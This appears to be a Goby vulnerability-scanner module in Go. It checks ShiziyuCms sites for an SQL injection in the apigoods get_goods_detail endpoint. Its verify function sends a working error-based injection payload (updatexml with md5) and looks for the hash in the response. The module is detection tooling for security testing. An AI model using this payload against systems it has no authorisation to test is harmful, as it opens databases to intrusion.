mirror of https://github.com/qwqdanchun/Goby.git
90 lines
2.2 KiB
Go
90 lines
2.2 KiB
Go
|
package exploits
|
||
|
|
||
|
import (
|
||
|
"fmt"
|
||
|
"git.gobies.org/goby/goscanner/goutils"
|
||
|
"git.gobies.org/goby/goscanner/jsonvul"
|
||
|
"git.gobies.org/goby/goscanner/scanconfig"
|
||
|
"git.gobies.org/goby/httpclient"
|
||
|
"strings"
|
||
|
"regexp"
|
||
|
)
|
||
|
|
||
|
func init() {
|
||
|
expJson := `{
|
||
|
"Name": "ShiziyuCms ApigoodsController.class.php SQL injection",
|
||
|
"Description": "ShiziyuCms ApigoodsController.class.php SQL injection",
|
||
|
"Product": "ShiziyuCms",
|
||
|
"Homepage": "https://www.tyha.cn/",
|
||
|
"DisclosureDate": "2021-05-18",
|
||
|
"Author": "PeiQi",
|
||
|
"GobyQuery": "body=\"/seller.php?s=/Public/login\"",
|
||
|
"Level": "2",
|
||
|
"Impact": "SQL injection",
|
||
|
"Recommendation": "",
|
||
|
"References": [
|
||
|
"http://wiki.peiqi.tech"
|
||
|
],
|
||
|
"HasExp": false,
|
||
|
"ExpParams": null,
|
||
|
"ExpTips": {
|
||
|
"Type": "",
|
||
|
"Content": ""
|
||
|
},
|
||
|
"ScanSteps": [
|
||
|
"AND",
|
||
|
{
|
||
|
"Request": {
|
||
|
"data": "",
|
||
|
"data_type": "text",
|
||
|
"follow_redirect": true,
|
||
|
"method": "GET",
|
||
|
"uri": "/"
|
||
|
},
|
||
|
"ResponseTest": {
|
||
|
"checks": [
|
||
|
{
|
||
|
"bz": "",
|
||
|
"operation": "==",
|
||
|
"type": "item",
|
||
|
"value": "200",
|
||
|
"variable": "$code"
|
||
|
}
|
||
|
],
|
||
|
"operation": "AND",
|
||
|
"type": "group"
|
||
|
}
|
||
|
}
|
||
|
],
|
||
|
"ExploitSteps": null,
|
||
|
"Tags": ["SQL injection"],
|
||
|
"CVEIDs": null,
|
||
|
"CVSSScore": "0.0",
|
||
|
"AttackSurfaces": {
|
||
|
"Application": ["ShiziyuCms"],
|
||
|
"Support": null,
|
||
|
"Service": null,
|
||
|
"System": null,
|
||
|
"Hardware": null
|
||
|
}
|
||
|
}`
|
||
|
|
||
|
ExpManager.AddExploit(NewExploit(
|
||
|
goutils.GetFileName(),
|
||
|
expJson,
|
||
|
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
|
||
|
uri := "/index.php?s=apigoods/get_goods_detail&id=1%20and%20updatexml(1,concat(0x7e,md5(1),0x7e),1)"
|
||
|
cfg := httpclient.NewGetRequestConfig(uri)
|
||
|
cfg.VerifyTls = false
|
||
|
cfg.FollowRedirect = false
|
||
|
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
|
||
|
if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
|
||
|
return strings.Contains(resp.RawBody, "c4ca4238a0b923820dcc509a6f75849")
|
||
|
}
|
||
|
return false
|
||
|
},
|
||
|
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
|
||
|
return expResult
|
||
|
},
|
||
|
))
|
||
|
}
|